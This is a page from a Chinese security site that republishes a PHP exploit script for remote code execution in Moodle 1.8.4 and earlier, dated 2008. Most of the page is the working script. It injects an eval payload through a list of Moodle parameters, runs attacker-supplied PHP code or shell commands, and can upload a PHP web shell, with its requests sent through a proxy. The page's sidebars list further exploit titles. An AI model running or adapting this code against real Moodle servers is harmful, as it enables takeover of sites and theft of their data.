首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Moodle <= 1.8.4 Remote Code Execution Exploit
来源:www.vfcocus.net 作者:zurlich.lpt 发布时间:2008-09-04  
<?php
/**
* Moodle <= 1.8.4 remote code execution
*/
$url = 'http://target.ru/moodle';
$proxy = 'localhost:8118';

$code = $argv[1];
if(!$code) {
echo 'Sample use:
'.$argv[0].' "phpinfo()" > phpinfo.html
'.$argv[0].' "echo `set`"
'.$argv[0].' /full/local/path/to/file/for/upload/php_shell.php
';
exit;
}
$upload = false;
if(file_exists($code) && is_file($code)) {
$upload = $code;
$code = 'move_uploaded_file($_FILES[file][tmp_name], basename($_FILES[file][name]))';
}
$code .= ';exit;';

$injection_points = array(
'blocks/rss_client/block_rss_client_error.php' => array('error'),
'course/scales.php?id=1' => array('name', 'description'),
'help.php' => array('text'),
'login/confirm.php' => array('data', 's'),
'mod/chat/gui_basic/index.php?id=1' => array('message'),
'mod/forum/post.php' => array('name'),
'mod/glossary/approve.php?id=1' => array('hook'),
'mod/wiki/admin.php' => array('page'),
);
$file = array_rand($injection_points);
$param = $injection_points[$file][array_rand($injection_points[$file])];
$value = '<img src=http&{${eval($_POST[cmd])}};://target.ru>';

$post_data = array($param=>$value, 'cmd'=>$code);
if($upload) {
echo "Check at:\n\t\t".$url.'/'.dirname($file).'/'.basename($upload)."\n";
$post_data["file"] = '@'.$upload;
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url.'/'.$file);
curl_setopt($c, CURLOPT_PROXY, $proxy);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, false);
echo curl_exec($c);
curl_close($c);
?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Chrome Browser 0.2.149.
·e107 Plugin BLOG Engine 2.2 (u
·MicroTik RouterOS <= 3.13 SNMP
·VMware COM API ActiveX Remote
·CitectSCADA ODBC Server Remote
·WeBid 0.5.4 (fckeditor) Remote
·Numark Cue 5.0 rev 2 Local .M3
·Flock Social Web Browser 1.2.5
·Simple Machines Forum <= 1.1.5
·MemHT Portal <= 3.9.0 Remote C
·Sun Solaris 8/9/10 and OpenSol
·Samsung DVR SHR2040 HTTPD Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved